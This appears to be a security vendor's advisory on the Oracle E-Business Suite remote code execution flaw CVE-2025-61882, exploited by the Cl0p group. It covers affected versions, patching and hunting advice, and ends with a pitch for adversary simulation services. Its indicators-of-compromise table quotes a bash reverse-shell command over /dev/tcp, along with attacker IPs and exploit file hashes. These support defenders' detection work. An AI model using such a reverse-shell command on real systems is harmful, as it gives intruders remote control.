SAPTANG™
Proactive Threat Defence

Oracle EBS Vulnerability

(CVE-2025-61882)

Oracle EBS Vulnerability (CVE-2025-61882)

Active Exploitation of Oracle EBS Vulnerability

On October 4, 2025, Oracle released a security alert about vulnerability CVE-2025-61882 in Oracle E-Business Suite. This flaw lets attackers run code on affected servers from a remote location, without authentication. If an attacker exploits this bug, they can take control of the Oracle EBS server.

Risk Matrix Definition

Detail	Information
CVE ID	CVE-2025-61882
Product	Concurrent Processing of Oracle E-Business Suite
Affected Versions	12.2.3-12.2.14
Component	BI Publisher Integration
Base Score	9.8
Attack Vector	Network over HTTP protocol
Attack Complex	Low
Remote Exploit (Without Authentication)	Yes

Vulnerability Overview

Oracle has released an emergency security advisory addressing CVE-2025-61882, a critical vulnerability affecting its E-Business Suite (EBS). The zero-day flaw, disclosed during the weekend, has been actively exploited by the Cl0p ransomware group. The vulnerability carries a CVSS v3.1 base score of 9.8, placing it in the critical severity category, and presents significant risk to organizations utilizing Oracle's ERP platform for essential business operations.

CVE-2025-61882 originates from an unidentified flaw within Oracle Concurrent Processing, a core component of EBS that manages batch jobs, reports, and integrations such as BI Publisher. The vulnerability enables unauthenticated attackers with network access through HTTP to completely compromise the service, potentially resulting in remote code execution (RCE). The exploit requires no user credentials or elevated privileges, making it easily exploitable via the internet when affected HTTP interfaces are accessible.

The vulnerability impacts Oracle EBS versions 12.2.3 through 12.2.14, covering numerous legacy installations currently deployed across finance, manufacturing, retail, and public sector organizations. Oracle has assessed the exploitation complexity as "Easy," and when combined with its severe impact on confidentiality, integrity, and availability, this vulnerability demands immediate patching priority. Successful exploitation could allow attackers to extract sensitive information, install malicious software, or establish deeper access into enterprise networks, potentially leading to data breaches and operational disruption.

The vulnerability's severity was amplified by its active exploitation. Security researchers and Oracle's own investigations revealed that Cl0p, a ransomware-as-a-service (RaaS) operation known for high-profile breaches like MOVEit in 2023, targeted multiple victims starting in August 2025. According to Mandiant's Charles Carmakal, Cl0p chained CVE-2025-61882 with other flaws from Oracle's July 2025 Critical Patch Update (CPU) to exfiltrate "large amounts of data" from compromised EBS environments. This wasn't isolated; the UK's National Cyber Security Centre (NCSC) issued warnings urging immediate mitigation, noting active scans and exploits across global networks.

Oracle's Chief Security Officer, Rob Duhart, confirmed in the alert that patches were rushed out following incident response efforts, including indicators of compromise (IoCs) like suspicious HTTP requests and binary artifacts observed in attacks. While no public proof-of-concept exploits have surfaced as of October 5, underground forums and GitHub repositories already host detection scripts, hinting at broader awareness among threat actors.

Indicators of Compromise (IoCs)

Below are the Indicators of Compromise reported by Oracle.

Indicator	Type	Description
200.107.207.26	IP	Potential GET and POST activity
185.181.60.11	IP	Potential GET and POST activity
sh -c /bin/bash -i >& /dev/tcp// 0>&1	Command	Establish an outbound TCP connection over a specific port
76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d	SHA 256	oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip
aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121	SHA 256	oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/exp.py
6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b	SHA 256	oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/server.py

Recommendations

1. Apply Oracle's emergency patch for CVE-2025-61882 immediately, ensuring the Oct-2023 CPU prerequisite is present. If unable to patch, restrict internet access to EBS (block 80/443 or require VPN/admin IP allowlist).
2. Hunt for malicious command strings and file hashes across web servers, LB/WAF logs, SIEM, endpoints; preserve logs and evidence.
3. If matches are found, isolate suspected hosts and image them for forensics.
4. Increase monitoring for unusual outbound connections and data egress.
5. Conduct full scope assessment (search for web shells, new accounts, suspicious tasks, abnormal DB queries).

References

oracle.com: Oracle Advisory

Adversary Simulation Services from Saptang Labs

The threat landscape outlined in this report makes one reality clear: cyberattacks are no longer limited to opportunistic exploits or isolated incidents. From DDoS campaigns and ransomware operations to advanced espionage and supply-chain intrusions, adversaries are continuously evolving their tactics. Organizations and their vendors face the same exposure, as attackers increasingly exploit third-party connections to bypass strong defenses.

At Saptang Labs, we help enterprises build resilience through adversary simulation services. Our approach goes beyond traditional penetration testing to realistically replicate the tactics, techniques, and procedures (TTPs) of nation-state actors, ransomware gangs, and hacktivist groups. By doing so, we enable organizations to understand how real adversaries would attempt to compromise their infrastructure, data, and people.

What We Deliver

Realistic Threat Testing – Simulate live attack scenarios including DDoS floods, lateral movement, and exploitation of current CVEs

Supply-Chain Validation – Test vendor ecosystems and third-party integrations before attackers exploit them

Maximum Kill Chain Coverage – From reconnaissance to data exfiltration, identify critical gaps across your entire attack surface

Actionable Intelligence – Prioritized remediation roadmaps mapped to MITRE ATT&CK and NIST frameworks

Executive Assurance – Demonstrate measurable security readiness to leadership and stakeholders

Ready to test your defenses?

Contact: sales@saptanglabs.com